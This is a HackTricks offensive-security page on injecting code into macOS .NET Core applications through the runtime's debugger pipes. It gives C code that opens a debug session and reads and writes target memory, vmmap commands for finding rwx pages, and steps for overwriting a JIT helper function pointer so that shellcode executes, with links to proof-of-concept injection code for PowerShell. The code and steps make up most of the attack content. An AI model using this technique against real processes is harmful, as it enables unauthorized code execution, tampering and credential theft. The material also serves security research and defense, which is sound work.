12 KiB
macOS .Net Applications Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
.NET Core Debugging
Stablish a debugging session
dbgtransportsession.cpp is responsible for handling debugger to debugee communication.
It creates a 2 of names pipes per .Net process in dbgtransportsession.cpp#L127 by calling twowaypipe.cpp#L27 (one will end in -in
and the other in -out
and the rest of the name will be the same).
So, if you go to the users $TMPDIR
you will be able to find debugging fifos you could use to debug .Net applications:
The function DbgTransportSession::TransportWorker will handle the communication from a debugger.
The first thing a debugger is required to do is to create a new debugging session. This is done by sending a message via the out
pipe beginning with a MessageHeader
struct, which we can grab from the .NET source:
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
In the case of a new session request, this struct is populated as follows:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Once constructed, we send this over to the target using the write
syscall:
write(wr, &sSendHeader, sizeof(MessageHeader));
Following our header, we need to send over a sessionRequestData
struct, which contains a GUID to identify our session:
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Upon sending over our session request, we read from the out
pipe a header that will indicate if our request to establish whether a debugger session has been successful or not:
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Read Memory
With a debugging sessions stablished it's possible to read memory using the message type MT_ReadMemory
. To read some memory the main code needed would be:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
The proof of concept (POC) code found here.
Write memory
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
The POC code used to do this can be found here.
.NET Core Code execution
The first thing is to identify for example a memory region with rwx
running to save the shellcode to run. This can be easily done with:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Then in order to trigger the execution it would be needed to know some place where a function pointer is stored to overwrite it. It's possible to overwrite a pointer within the Dynamic Function Table (DFT), which is used by the .NET Core runtime to provide helper functions for JIT compilation. A list of supported function pointers can be found within jithelpers.h
.
In x64 versions this is straightforward using the mimikatz-esque signature hunting technique to search through libcorclr.dll
for a reference to the symbol _hlpDynamicFuncTable
, which we can dereference:
All that is left to do is to find an address from which to start our signature search. To do this, we leverage another exposed debugger function, MT_GetDCB
. This returns a number of useful bits of information on the target process, but for our case, we are interested in a field returned containing the address of a helper function, m_helperRemoteStartAddr
. Using this address, we know just where libcorclr.dll
is located within the target process memory and we can start our search for the DFT.
Knowing this address it's possible to overwrite the function pointer with our shellcodes one.
The full POC code used to inject into PowerShell can be found here.
References
- This technique was taken from https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.